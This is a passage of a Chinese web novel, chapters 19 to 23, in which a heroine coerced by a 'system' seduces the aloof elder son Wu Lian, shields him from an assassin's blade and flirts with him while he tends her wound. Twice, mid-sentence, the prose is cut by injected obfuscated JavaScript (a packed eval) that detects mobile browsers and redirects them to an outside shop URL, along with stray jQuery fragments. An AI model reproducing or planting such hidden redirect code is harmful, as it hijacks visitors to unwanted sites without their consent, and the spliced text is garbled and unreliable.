“你可以在我触碰你时折断我的手,在我夜半来你房中寻你的时候将我拒之门外,但你统统都没有。” “说起来,大公子与我又有何区别,我至少敢承认,但你不敢,因为一旦承认,你便是那个有悖人伦、不知廉耻之人。” 邬涟立在原地,手紧紧攥成拳,如玉的手背上,青筋依稀可见。 他胸腔起伏,声线如寒潭积雪般刺骨,“......闭嘴。” 四下无人,两人的发丝无风自动,随即奇异地交缠在一起,仿若昭示着某种宿命。 “锵!” 长剑猛地出鞘,邬涟握剑,随即削在了两人交缠在一起的发丝上,连带着那整簇,都被他狠狠斩断,无助地飘落在地上,融入这无边绿色当中。 他收剑入鞘,眉目冰冷坚定,“我言尽于此,你听与不听,与我再无干系。” 叶冬知不语,望着他的背影逐渐走远,抬手摸到自己短了一截的头发,心里窜起来一股火气。 有病啊。 他光削自己的头发就行,把她的也削了干嘛。 跟她玩什么削发断义吗? 说得两人真跟恨海情天一样,拜托大哥,她只是被系统胁迫的而已。 她踢着脚下的石子发泄情绪,忽闻一声慌张的喊叫: “有刺客!保护太子殿下!” 叶冬知抬眸望去,见不知从何处突然跳出几十个黑衣人,皆蒙着面,手持利刃,朝着中央穿着月色华服的男子而去。 顿时,来游玩的世家子弟、世家贵女乱做一团,纷纷尖叫着朝四周跑去。 叶冬知头一次亲身经历古人的刺杀行动,震惊得无以复加。 只见一阵刀光剑影中,在一堆黑衣人中,有两道身影矫若游龙、游刃有余。 一人红衣翻飞,持着长枪,挑开近身的刺客,一人黛色骑装,手起刀落,丝毫不含糊。 鲜血四溅,几个卫从护着太子躲在了一颗粗壮的大树后头。 叶冬知要说不怕是假的,她躲在一块大石后面,目瞪口呆地望着不远处的战局。 然而在这种危机关头,系统突然响起了警报。 【警告警告!目标陷入危险之中,需立刻救援。】 叶冬知愣了一瞬,眯着眼看过去。 虽刺客人数众多,但见邬涟从容不迫,不像是需要救援的样子。 关键是她也不会武功,进去不会被刺客当成西瓜乱砍吗? 而且,她重活一世,可不想这么快就丧命,于是她待在原地,假装没有听到系统的指令。 攻略邬涟很重要,但是自己的命更重要。 仿佛是知道她心中的算盘,系统开始向她施加压力。 果不其然,一阵钝痛自脑海深处猛地传来,像电流一般迅速蹚过五脏六腑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525162|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身都开始痉挛般地疼痛。 叶冬知暗骂系统卑鄙,霎时间被痛得瘫倒在原地,两眼发昏。 与此同时。 【警告警告!若目标死亡,宿主无法完成任务,将被就地格杀。】 叶冬知头一次有种想爆粗口的欲望,这已经不是攻不攻略的问题了,这是选个死法的问题了。 权衡再三,叶冬知在系统的惩罚和刀剑相向的战局之中,选择了后者。 她磨磨蹭蹭在大石后面观察了好久,看见黑衣人被杀得只剩不到一半时,才顶着那股恐惧和恶心大着胆子上前。 战况算是激烈,无人注意一个女子偷偷到了战局的边缘。 邬涟解决掉一个黑衣人,温热的鲜血溅到他的脸上,衬得那双墨玉似的眼愈发深沉。 他薄唇紧紧绷着,一言不发,再次挥剑向一个黑衣人斩去时,突然看见一个人潜入了战局。 叶冬知在战局的角落偷偷观察着,等待着救援邬涟的时机。 可是过去了半晌,邬涟游刃有余,看起来丝毫不费力,就连招式都看起来精巧无比。 她开始怀疑系统对邬涟的实力有误判。 直到身后忽然传来一声熟悉的声音,对着她叫道:“叶小姐!小心!” 叶冬知惊恐回头,看见一个黑衣人目露凶相向着她挥剑而来,她瞬间浑身冰冷,脚步僵在原地,大脑一片空白。 紧接着,裴砚借力一个飞身,一枪挑穿黑衣人的喉咙,那枪头就堪堪停在叶冬知的面前,距离她只有一掌距离。 劲风撩起叶冬知额边的碎发,血溅在了她的脸上。 此时此刻,叶冬知才真切地感受到这场刺杀的可怕。 她呆滞地盯着眼前的枪头,就在这时,系统在脑子里发出一阵接一阵的警报声。 【警告警告,目标遇到危险,需立即救援!需立即救援!】 叶冬知机械地转头看去,见邬涟的背后,一名黑衣人正持剑向着邬涟狠狠刺来。 距离她的距离不过三步之遥。 她的身体像被什么东西所操控,脚步麻木地向前迈了一步。 却恰巧踩到了一块硬石,她的脚踝狠狠一崴,脚步几个踉跄,正正好好停在了邬涟的背后。 一侧传来裴砚慌张的声音,“叶小姐!” 与此同时,叶冬知眼睁睁看见剑尖刺进了她的肩头,血肉被撕裂、穿透的声音令人胆寒,紧随其后的,是一阵难以言喻的刺痛。 她的身子向后一倒,被身后的人接住。 好痛...... 她颤抖着嘴唇,看着邬涟的脸,意识模糊,气若游丝地说完最后一句台词,“你......你没事就好。” 说完,她就眼睛一闭,头歪了过去。 恍惚之中,最后一眼,她好像看见邬涟的脸色阴沉得吓人,目光中满是震惊和不解,他紧紧握住她单薄的肩膀,喃喃。 “......为什么?” 明明他都说得那样清楚了,为什么还要救他。 他很清楚她过往的引诱并无几分真心,多半只是为了逃离与义父的婚约,但即便如此,也值得她豁出性命吗。 20. 第 20 章 叶冬知醒来时,天色已经暗了。 耳边刀剑相撞的声音似乎还历历在目,温热的血溅到脸上仿佛仍留有余温。 她浑身无力,只觉得左肩处疼得厉害,像是半个身子被贯穿一般的疼痛。 稍稍动一下,便疼得她吸了口气。 她意识尚且模糊,自身侧突然传来一道如玉石相击的声音。 端肃清冷,淡漠克制。 “醒了?” 顺着声音看去,叶冬知吓了一跳,坐在她榻边的不是别人,竟然是邬涟。 他半垂着眼,一身暮云灰的衣衫被打理得一尘不染,屋内燃烧的红烛照亮他半边侧脸,在光晕中流转着清华的色彩。 叶冬知怔愣在原地,半晌之后才惊讶地低声回了句:“大公子,你怎么在这里?” 听到声音,邬涟半侧过身子来,橙黄的灯光压住他半边轮廓,让他整个人柔和了几分。 他答非所问,“为什么救我?” 叶冬知一时哑口无言。 她为什么救他,还不是因为这杀千刀的系统,不然她吃饱了撑的跑去送命? 还好那个刺客的剑刺偏了,若是这剑正中胸口,她还不知道有没有命在。 室内沉默半晌,邬涟像是很有耐心一般,静静等待着她的回答。 而此时,叶冬知靠在榻上的软枕上,思索着方才系统发布的台词。 室内除了两人之外,再无他人,只能听见蜡烛燃烧的声音。 房内落针可闻,几息之后,邬涟听见她低笑一声,声音轻得让他几乎以为是错觉。 他听得她一字一句道:“因为大公子值得我这么做。” 话语很轻,却在瞬息卷起一阵风暴,令平静的湖面波涛起伏。 邬涟不语,他敛眸看向半倚在床榻上的人。 因为失血过多,以往娇嫩的面色如今只剩苍白,殷红的唇也毫无血色,可她怯怯地依偎在绿萝软帐之间,明明那么娇小,却又拥有莫大的勇气 那双眼直直盯着他,亮得惊人,像盛满了潋滟水光。 他不动声色敛下目光,忽地被烫了一下。 邬涟压下心中莫名的情绪,终究还是问出他藏了许久的一句话: “你的目的是什么?” 尽管他早已心知肚明,但心中仍存了他也未曾意识到的期待。 榻上女子忽地侧过半张脸,水盈盈的目光落在他脸上。 她弯弯眼睛,声若柳絮,又轻又软,落满整个卧房。 “我的目的大公子还不清楚吗?” 一瞬间,他的心跳了一下,又很快被压制。 他望进那双眼睛,比他更纯粹、更清澈、更热烈。 仿佛一把无名的火正一点点镣烤着他封闭的枷锁,试图剥开外表,窥探他的内心。 她收起目光,盯着面前的锦被,低低叹息一声,“我还以为大公子早知我的心意呢。” 邬涟垂下眼睫,指尖微动。 怎么办。 该拿她怎么办。 明明已经下定了决心,可她总是能如此轻描淡写地说出这般深重的话。 他看向她的左肩,她那样娇气怕疼,那里应当极痛。 为他挡剑的那一刻,她又在想什么呢。 门外传来阿蔷的声音,“大公子!小姐的药煎好了。” 紧接着,阿蔷便端着托盘,上面放着一个精致的瓷碗,里头盛着褐色的药汁,正冒着腾腾热气。 只看了一眼,那股刺鼻的药味似乎化为实质,钻进叶冬知的鼻腔,她皱起眉头,将脸别向一边,似是十分嫌弃。 阿蔷坐在床榻边,舀起一勺药,吹了吹,搁在叶冬知的唇边。 邬涟端坐在原地,未有起身。 仿佛是察觉到她疑惑的视线,他道,“你用了药我再走。” 唇将将沾到药汁,便苦得她皱紧了眉头。 正巧这时系统也不安分: 【发布任务:要求目标喂药,并依次说出以下语句。】 她在脑海中迅速扫了一眼,那些暧昧的台词她已经见怪不怪了。 朝着阿蔷使了个颜色,阿蔷心领神会放下药碗出了卧房,紧接着,她便开始说台词。 “小厨房缺人手,阿蔷得守着煨好的粥,大公子,我手不方便,可否麻烦你给我喂药?” 邬涟敛眸,“不合规矩,我去唤其他丫鬟过来。” 话落,榻上的女子便怯怯地看着他,病容令她本就极白的肤色显得更苍白,她陷在柔软的锦被中,整个人小小一团,细眉微微蹙起,道:“可是我好疼。” 语气中半是委屈,半是撒娇。 那双眼睛频频看向他,好似在特意提醒他,这是因为他受的伤。 片刻后,他起身端起药碗。 过去的二十多年,金尊玉贵的大公子向来是高高在上的,何曾做过给人喂药的事情,是以,动作显得很是生疏,他舀起一勺药,便往叶冬知的嘴边凑。 那勺药盛得很满,叶冬知拿嘴唇轻轻碰了一下,便烫得她嘴唇一麻。 她蹙了细眉,小声抱怨道:“太烫了。” 邬涟不语,将调羹收回到碗里,垂了长睫,耐心十足地等着药放凉。 叶冬知偷偷打量他,他神色沉静,眉眼疏离,像是雪山上的一棵青松,风姿高洁,便是喂药这般事,他做来也是赏心悦目的。 她静了片刻,终是忍受不了系统的催促,轻声道:“大公子,你吹一吹,便凉了,就不用等那么久了。” “我不着急。” 邬涟语气淡淡。 他慢条斯理搅着药汁,“而且,你好像很怕苦。” “可是......”叶冬知顿了顿,接着道:“可是我听说药要是放得太凉,药效便不好了。” 语罢,她又委屈地望着他,“这伤伤得这般深,一定会留疤的。” 邬涟没有接她的话,只是舀起一勺药,放在唇边吹了吹。 他的唇实在漂亮,红润光滑,有微微的唇珠,看起来柔软且富有弹性,想必尝起来味道一定很好。 叶冬知被自己的想法蓦地惊了一下,她垂眼,调羹已经递到了她的眼前。 邬涟匀净修长的手指衔着调羹,指甲整齐圆润,一丝不苟,像它的主人一般。 “喝药。” 他启唇。 不知怎的,叶冬知的脸竟然有些发烫,不敢去直视着他的眼睛。 她呆愣点头,急急忙忙喝下一勺药,霎时就苦得她眼泪汪汪。 她刚刚勉强咽下,一勺药又递到唇边,有苦难言的叶冬知只能皱着脸,再喝下一勺。 几勺下去之后,她被苦得实在是受不了,连忙挡住他的手,可怜巴巴道:“不要了、不要了,太苦了。” 邬涟手中的动作并未停下,又是一勺药到了跟前,他敛眸轻飘飘道:“药凉了,药效便不好了。” 叶冬知鼓着眼睛气急,他竟然用她的话来堵她! 她企图晓之以理、动之以情,用为他挡剑的事情来阻止他的动作。 她刚一开口,话还在喉咙里没有吐出去,一勺药便又到了跟前。 末了,他还破天荒地安慰了她一下,“良药苦口,听话。” 这回叶冬知倒是学聪明了,任是邬涟怎样,她是绝不张口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525163|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼见药喂不下去,邬涟收回了手,将瓷碗搁置在矮几上。 他扫过叶冬知被药苦得皱成一团的脸,眼睫压下眸中笑意。 “你好生休养,至于你的疤痕不必忧心,我自有办法为你去除。” 听到后面这番话,叶冬知的脸色才算是稍微好一点。 眼见邬涟有离开的势头,她暗自舒了一口气,终于还是顺利地完成了任务。 好巧不巧,系统在此时又在脑海中响起,开始发布新的任务来。 【发布新任务:让目标为宿主擦去嘴边药渍。】 叶冬知垂着眼,思考着怎么说才能让这个任务施行的可能性大一点,毕竟让邬涟喂药已经是她的极限了。 而且......这么暧昧的动作他们两个真的合适吗? 确定等会邬涟不会将她痛斥一顿? 她越纠结,脑子里系统警告的声音便激烈。 终于,半晌之后,她还是叫住了背对着她的邬涟。 “大公子。” 邬涟闻言转过头来,面色无波地垂眸看她。 “嗯?” 她倚在榻上望着他,眼波如媚。 “大公子是不是忘记了还有件事没有做?” 邬涟的视线落在她的唇上,那处莹润沾染了药渍,两片唇瓣微微开合着,晕染出些微色泽。 下一刻,她芙蓉面含着盈盈笑意,右手伸出一根莹白指尖,轻轻点了点那处唇瓣。 他看着那处地方被压出青白,转瞬间又恢复淡淡的水色。 耳尖有些发烫,他沉声道:“不可。” 床榻处却传来一阵悠悠的笑声,他听得她嗓音含了蜜,颇有些调笑的意味: “我说的是希望大公子能帮我拿绢帕擦一擦,难道大公子......” 她说着,顿了顿,刻意留出片刻时间让人有想象的空间。 “大公子想到哪处去了?” 隐秘的心思被人戳破,邬涟面上有片刻的难堪和慌张。 他立在原地,手指微微攥紧,绷着唇没有开口。 叶冬知侧过头,去看站在桌边的邬涟,身形颀长,宽肩细腰,穿着一身玄色常服,像一块雕塑一般杵在原地。 从她的角度看过去,竟能窥探出几分纯情和羞涩来。 她被邬涟这幅如临大敌的样子逗笑,叹了一声,道:“只需大公子帮忙取块绢帕来。” 这回,那人倒是低低地“嗯”了一声,脚步不紧不慢朝着一处小几去,拿了一块刚刚绣好的绢帕朝着她榻边而来。 只是到了榻前,叶冬知却不接,看样子,并不是像她说的仅仅是取块帕子那么简单。 她睨了一眼他的神色,虽是平静如常,但却能隐隐感觉到他绷着的身体。 于是,她得寸进尺道:“既然大公子都拿来了,不若就帮我擦一擦吧。” 嗓音绵软,像芦苇荡起,又娇又媚,撩拨得人浑身战栗。 邬涟手顿在半空,看见她装模作样地扶住自己的左肩,还一边哼哼唧唧地喊疼,终是启了唇,压住眼中的异色,沉声道了句:“仅此一次。” 闻言,叶冬知也不喊疼了,眼眸微微眯起,流转着的分明是得逞之意。 室内的气氛一时有些微妙,两人都情不自禁屏住呼吸。 邬涟伸手半倾着身子,清清淡淡的沉香在狭小的空间内蔓延。 叶冬知心突然猛地跳了一下。 然而在此时,系统又在脑中响起,还加了一个令人倍感羞耻的任务。 叶冬知扫过脑海中那行字,几乎是僵在了榻上。 这是什么啊?!这也太羞耻了吧! 21. 第 21 章 系统自动过滤叶冬知的吐槽,仍然在脑子里滴滴滴响个不停。 叶冬知睨了睨邬涟,只见他神情专注,清冷如玉,不可亵渎。 她心中生出一种负罪感来,这样天仙似儿的人,她现在要对白璧无瑕的谪仙做出大逆不道的事来了。 柔软的绢帕擦拭在嘴角,触感温润,偶尔能隐隐感觉到他指尖不经意的触碰。 她僵着身体,感觉到他视线所及的地方都有如一窜火苗。 叶冬知眼睫颤了颤,趁着邬涟不注意,迅速而果决地完成了系统的任务。 她伸出舌尖,绕着他指尖打了个圈。 就仅仅一瞬间,邬涟的身子瞬间僵住,脑子里思绪一团乱麻,仿佛无数条错综复杂的情绪交织在一起。 羞耻、气恼、惊讶,甚至还有些欣喜和刺激,都通通如狂潮一般,朝着他奔涌而来。 女子的舌尖滑腻带着滚烫的温度,触及到他的地方,仿佛被火灼烧一般,他霎时收回了手中的绢帕,隐在宽袖之下的手指微微发抖。 一股难言的微妙情绪蹿上他的耳尖、面皮,他恼怒地低呵一声:“你!” 而更让他羞恼的不仅如此,叶冬知硬着头皮,在他难以置信又羞耻难当的目光下说出那句令人头皮发麻的台词。 她抿了抿唇,闭着眼,一副视死如归的样子,低声道: “大公子的滋味甚是美味,我好喜欢。” 仿佛一块巨石狠狠砸进了湖中,溅起的巨浪要将邬涟淹没。 他如玉的面容转眼袭上一层红晕,又羞又燥的感觉令他心跳如雷。 室内的空气似乎也因为这句话而变得暧昧起来,透过窗户卷进来的,不是清爽宜人的凉风,而是一层一层扑面而来的滚烫热气。 他就知道,不该心软答应她的无理要求,她是只浑身媚骨的妖物,只要让她尝到一点甜头,那她便会肆无忌惮地加倍索取。 她竟然、竟然...... 这等淫.词浪语她是如何做到面不改色说出口的,实在是、实在是不知羞耻! 邬涟羞恼之极,扔下手中绢帕,便脚步匆匆地夺门而出。 独留叶冬知一个人呆愣地倚在榻上,要命!系统在做什么啊! 啊啊啊! 真的好尴尬! 后知后觉地,叶冬知的脸上也蹿上一阵燥意。 她半阖着眼,如一条死鱼直愣愣躺在床上,让停留在脸上羞窘的热气渐渐散去。 不多时,困意上涌,叶冬知又沉入了梦乡。 邬涟走了没有多久,屋内便又响起了一阵脚步声,仿佛是掐好时间过来的。 邬彦在门外踌躇了一小会,便从门外走了进来。 他见到躺在榻上的叶冬知,面色苍白,合着眼,应当是睡着了。 邬彦面上流露出几分不解之色,攥了攥手中装着药的瓶子,生出些许困惑以及隐晦的嫉妒。 那日,她明明说对长兄没有想法,为何昨日又义无反顾地为长兄挡剑。若不是真喜欢到了一定程度,又怎么会以命相护。 他心中不甘起来,长兄为人刻板乏味,不比他会讨女孩子的欢心,可为何他喜欢的,却偏偏喜欢上一个清心寡欲、冷心薄情的人。 邬彦的脚步放得很轻,以免惊醒榻上的人。 他将手中的瓷瓶放到桌子上,站在离床榻不远的地方静静凝视了一会,才不舍地将目光从她身上移开。 纵然处在重病之中,她也依旧那么美丽,可这样的人,身子将要属于他的父亲,心属于长兄,却没有哪一样会属于他。 目光不经意看见地上飘落的绢帕,他俯身将它拾起来。 绢帕绣着一枝梅花,很是素雅,绢帕的一角沾染上些许褐色的药汁。 他向左右看了看,鬼使神差地将绢帕收入了怀中,才离开了叶冬知的卧房。 * 两侧的风打在面颊上,让邬涟脸上的热气稍稍消散了一些。 他并不排斥她的亲近,甚至于她在他身侧软声娇呓,他竟然还莫名地生出一种让人为之战栗的兴奋感来。 他虽一直克己复礼,但并不代表他对于情爱之事一窍不通。 他知道自己对于她生出了不一样的感情。 听起来实在可笑,他清清楚楚知道她在不怀好意地引诱他,但他还是中了圈套。 邬涟深深吐出一口气,望向雾沉沉的天幕,转身进了卧房。 不多时,他唤了长安进来,将手中的药膏拿给长安,告知送到叶冬知那处去。 长安并没有遮掩自己脸上的惊讶,道:“公子,这是皇上御赐的药膏,是从西域进贡来的,天下也难寻,您真就舍得送给别人了?” 邬涟没有解释,只敛眸道:“去吧。” 长安得了令,手脚麻利地去了。 * 时间不疾不徐地过了半月,叶冬知伤口不算太深,加之一堆好药滋养着,伤口已经渐渐结痂,不影响日常的行动。 这日,日头晴好,叶冬知在阿蔷的搀扶下出了门,走在府中的小路上。 府中原先是有一处练功场的,但自从永定侯常年征战塞外,再加上府中的公子们都不好舞刀弄枪,便渐渐地荒废了下来。 正巧,今日邬彦两兄妹正在练功场放风筝。 两人眼尖,一下便看见了站在不远处的叶冬知,邬彦将手中的线交给邬雯,便几步朝着叶冬知的方向跑了过来。 他跑至她的身前定住,还未说话,脸上便已经染上了几分红晕,他关切问道:“叶小姐,伤可好些了?” 叶冬知颔首,“劳烦二公子挂心,已经好多了。” 她声音娇娇软软,他听得耳根子更红了几分。见到她的视线落在身后的邬雯身上,猜测她大概是对放风筝有几分兴趣,于是邬彦有几分忐忑地问道:“我与三妹正在放风筝,叶小姐......可要试一试?” 叶冬知微微抬起头,看见一只蝴蝶形状的风筝正在邬雯手中翱翔,她生出了几分向往和新奇。 这般精美的风筝,她倒是不曾见过。 于是,她莞尔:“好啊。” 听得她答应,邬彦 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少年人的喜欢很难藏得住,凭着这次机会,他不由自主地放任了内心隐秘的心思,脚步向着她靠近了几分,以一种近乎越矩的姿势将她圈在了怀里。 他偏头看她,却发现她仰头看着天上的风筝,全神贯注,好似并没有发现他的小动作。 一种刺激又甜蜜的感觉在心里疯长。 直到不远处一声熟悉的声音响起,才将他从虚无的荒唐中唤醒。 “二弟。” 几人循声望去,见到一侧的廊下,正站着邬涟。 日头恰好在廊下截然而止,他半张脸被明媚的日光照亮,另一半却隐在阴影之下,莫名地有几分阴沉的意味。 邬涟的唇薄,嘴角处略微上翘,但不说话时,他总习惯微微崩着,让整张脸无一分温和笑意。 叶冬知看得有几分心惊,手上加快了收线的动作。 从邬涟的角度看过去,她穿着一身单薄的夏衫,身形柔弱,而邬彦从身后环住她,几乎是将她整个人揽入怀中,而她在他怀中笑意盈盈,看起来真乃一对情投意合的璧人。 这算什么,前些日子不顾自己生死为了他挡剑,今日却又在另一个男人的怀里笑颜如花了。 他压下心口生出的怪异情绪,只沉声对邬彦道:“徐先生近几日有事,你的课业由我代为批改。” 邬彦心中咯噔一声,他连忙后退两步,慌忙收起自己不堪的心思,半晌才有些敬畏地应道:“知道了,长兄。” 他掀起眼皮去看邬涟的神色,见邬涟并未将视线落在自己身上,而是看向了离自己不远的叶冬知。 那双眼墨色很重,仿佛有无名的东西在其中翻涌。 然而片刻之后,却邬涟却只是在原地站了一会,便沉默地离开了。 叶冬知收好风筝,伴随着脑中系统的警报声,有些迷惑地看向邬涟离开的背影。 真奇怪,明明看起来什么事也没有,怎么就生气了呢。 22. 第 22 章 已入了初夏,院子里已经偶尔能听见蝉鸣声了。 阿蔷服侍叶冬知用过晚膳,才说起近日的趣闻来。 叶冬知心不在焉地听着,白日邬涟莫名其妙地生气了,系统时不时就在脑子里警告她,她想着等会还是去看看。 等阿蔷收了碗筷,她起身借口心中烦闷,要出去走走,阿蔷不疑有他。 夜晚稍稍有些凉意,她穿了件外衫,才提着灯笼向着邬涟的院子走去。 邬涟喜好清净,是以从她住的院子到他的住所还有好长一段距离。 待走到离院子还有一刻钟左右的路程时,前面传来一阵脚步声。 叶冬知抬头看去,是邬彦。 此刻纵使光线不太明亮,也能看出邬彦的神情恹恹,见到她,倒是有几分意外,脸色微红道:“叶小姐是要去寻长兄吗?” 被人一下就戳中了心思,叶冬知顿了一下,厚着脸皮撒谎道:“不是,有些烦闷,所以出来走走。” 闻言,他神情有了几分放松。 叶冬知想起白天的事情,猜想邬彦大概是刚从邬涟的院子里出来,正好借此探探邬涟现在的情况。 “那二公子这么晚去了哪里,我瞧着二公子像是不大开心?” 邬彦听出这话里面的关切之意,便将方才发生的事一一详说。 “我方才是去了长兄房里,长兄批阅了我今日的课业。”说着,他顿了顿,看了看叶冬知的脸色,发现并没有轻视的意思,才接着道,“让你见笑了,我课业算不上好,时至今日也未考上功名,所以长兄免不得要训斥我。” 叶冬知听着,像是浑不在意地问了一句,“那他现在很生气吗?” 邬彦没有想多,叹了口气,恹恹道:“长兄在我这个年纪已经高中了,兴许是我的课业在长兄眼里实在是太差了,他生气也是应当的。” 得到了自己想要的信息,叶冬知才安抚地笑道:“二公子是聪慧之人,除却读书,在其他地方也定能有所建树。” 她突如其来的安慰和夸赞,让邬彦瞬间泡进了蜜罐。 他红着一张俊脸,支支吾吾道:“我会、会努力的。” 说着,他看见她手中提着的灯笼,试探着问道:“叶小姐要去何处,不如我陪你说说话。” 叶冬知又不是真的散心,哪会要他跟着,于是只是蹙了眉,低声道:“二公子还是早些回去罢,想必张姨娘会担心的,我自己一个人走走就好。” 被人拒绝,也不好再厚着脸皮跟着,若是惹了她的厌烦,那便得不偿失了。 于是,邬彦颔首,还有些不放心,正待再说两句,却有什么东西自袖口滑落了出来。 他心中一紧,连忙弯腰将东西捡了起来,迅速收到怀中。 灯笼散发出的光算不上明亮,叶冬知没有完全看清楚,只是隐约看到应当是一块帕子。 只是,那上面的花样......倒是有几分眼熟。 邬彦心中有些发虚,此时也不敢多待,怕她好奇问起那块帕子的由来,于是便匆匆嘱咐道:“那叶小姐早些回去,我便先走了。” 叶冬知收起探究的目光,微微点头,算是回答。 他的脚步有些急促,很快便消失在视线之中。 最后这段路叶冬知走得很慢,是以到邬涟的院子时,发现他卧房中的灯刚刚熄灭,想来是准备入睡了。 好在邬涟不喜他人服侍,所以院子里的下人很少,也不会有人发现她。 她站定在门外,用力推了推门,发现纹丝不动,应当是被人从里面锁住了。 榻上的邬涟并未入眠,近日刑部案子繁琐,他已经有好几个晚上失眠了。 他翻身侧躺,又想起白日看到的景象,她依偎在别人的怀中,心中烦闷更甚。 门外传来一阵不太清亮的敲门声,断断续续。 他翻身从床上坐起来,揉了揉额角的太阳穴,才起身走到门边开门。 “吱呀”一声,门从里面打开,昏黄的光亮照亮了门外的来人。 邬涟有些意外,见着门外的人不是长安,而是叶冬知。 她提着一盏雕花八角灯笼,乌鬓散下来,穿着一身单薄的衣裳,望着他的眼神竟有几分委屈。 委屈? 他不解,只垂眼问她,“这么晚了,你来做什么?” 穿着寝衣的他散了发,墨发披散在两侧,垂在腰际。 这幅随意的模样倒是少见,像卸去了平日的锋芒与克制,看起来比白日里更好亲近。 叶冬知仰头与他对视,软声道:“我和二公子不是你想的那样。” 他很快反应过来,她是在向他解释白日发生的事情。 “与我又有什么关系,你不必向我解释。” 话一出口,他墨瞳中生了些微怔愣,这句话怎么听起来有种拈酸吃醋的意味。 他索性闭了嘴。 叶冬知盯着他,十分肯定道:“可是你生气了。” 他皱眉,“并未。” 她继续不依不饶道,“你有。” 邬涟不再说话了,他将头偏向一侧,高挺的鼻梁在月色下打出一片阴影,映在一边侧脸。 他本就生得清冷,这番姿态更多了几分孤僻与冷漠。 明明看起来和往日并无不同,但叶冬知依旧敏锐地感受到一股怨气。 片刻后,她恍然大悟,“哦,被我猜中了呀!” 邬涟不语,嘴角绷得很紧,在她调侃的视线下,一下将门给关上了。 “嘭!”地一声,在夜晚里格外清晰。 叶冬知嘴角得意的笑僵在脸上,哪有这样的人,不敢承认就算了,猜中了还给人甩脸色,要不是系统,她才不会晚上不睡觉跑到这里来。 她压下怒气,在门外敲门,“大公子,你开门呀!” 无人回应。 她继续敲,“我专门来寻你的,既然你不领情,那我还是走吧。” 说着,她低低叹息一声。 邬涟站在门后,眼瞳里的墨色几乎与黑暗融为一体。 门外的人敲了一会门之后突然没了声响,紧接着听见一阵脚步声逐渐远去。 不知怎的,他心头生出一股怨气,她既是来解释,又为何这般轻易就放弃。 他伸手拔掉门栓,却见门外空无一人。 只有聒噪的蝉鸣声不断响彻在周围。 一种怅然若失的感觉萦绕在心头,他静立半刻,伸手将门关上。 却不知从哪里伸出一双手,挡住了即 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屋内漆黑一片,门外传来长安的脚步声,接着,长安的影子映在了雕花木门之上。 长安在邬涟房门前逗留了一会,发现没什么事,才提灯回了房。 叶冬知松了口气,正要从邬涟身上爬起来,她刚微微挪动了一下自己的腿,却发现自己的手臂被人拉住了,他忽地发出一声短促的闷哼,“嗯......” 细听之下,还能发现他发颤的尾音。 她支起上半身,借着从窗棂处倾洒进来的月光,才隐约看见她的右腿膝盖正正好好压在了他的双腿之间。 意识到那处是什么之后,她脑中一阵嗡鸣,脸颊飞快地蹿上滚烫的红云,就慌慌张张从邬涟的身上下去。 饶是她虽做了许多勾引邬涟的事情,只是那多半是言语上,可是现在邬涟的反应告诉她,再怎么样清心寡欲,他也是个实打实的正常男人。 而且,她恍惚地咬了咬唇,而且,他那处还不小...... 头一次遇见这样的事,一时间叶冬知羞愤地将系统要求的事情也忘了个七七八八。 她知道男人那处地方脆弱的很,若是不小心受到伤害,是很容易就再也雄风不振。 方才那一摔着实摔得不轻,她踌躇了半晌,才在漆黑之中讪讪问道:“大公子,你没事吧?” 邬涟并没有回答她,但是她能感觉到他绷紧的身体。 尽管他有意克制,但她离得太近,仍能听见他略有沉重的喘息。 怕真的给他压坏了,她脑袋一热,在尴尬的气氛中不太有底气地低声开口,“大公子,实在是对不住,要不我帮你看看?” 然而这句话一出,她顿时想扇自己几个巴掌。 她后知后觉地闭了嘴,听到一阵衣料摩挲的声音,知道是邬涟从地上起来了。 气氛一时十分微妙。 邬涟默不作声,其实他并没有如叶冬知所想摔到那里,他只是羞愤无比,一时不知作何反应。 女子身体柔软饱满的触感还历历在目,令他更为羞耻的是,她摔倒在他的身上时,他顷刻就有了反应。 23. 第 23 章 叶冬知将摔落在一侧的灯笼提过来,借着微弱的烛光打量着邬涟的脸色。 昏黄的光晕之下,他侧脸线条流畅利落,耳尖红得厉害。 自觉理亏,她软声道歉道:“我不是故意的。” 屋内的人仍是沉默着,叶冬知没有得到回答,心里有些发虚,便向他走近两步,想看看他的反应。 发觉她的靠近,他斜睨了一眼,便又将自己的脸微微向一侧转了过去。 “你还在生气。” 叶冬知这回说的是陈述句。 邬涟仍旧像一个闷葫芦似的,她几回放低了姿态,却依然贴了他的冷脸。 她怒气也上来了,道:“我已经跟你道歉了,你好歹也吱个声啊!” “半天不说话是什么意思?” 叶冬知一时情绪激动,音量不自觉拔高了几分,寂静的夜里显得格外清晰。 邬涟这才将视线落到她身上,眼瞳幽深,比起她的气急败坏,他倒是显得很平静,“我说了我没有生气,况且,我原本就是这个性子,你要是受不了,便不必来寻我。” 叶冬知顿时就气笑了,敢情在他看来她这完全是属于自作多情了。 要不是这什么破系统,她真是上辈子掘了人家祖坟才有的报应。 “我真是......” 尼玛的。 好在她理智尚存,后面半句脏话终究没有说出口。 她怒气冲冲向着门口走去,在心里暗暗下定决心,今晚再跟邬涟说一句话,她就自扇巴掌。 但天有不测风云,系统装死了半天,此刻终于发出了指令。 【警告警告!宿主尚未完成任务,不可擅自离去,否则将接受惩罚!】 正巧走到门口的叶冬知,脚步一顿,在心里啐了系统一句。 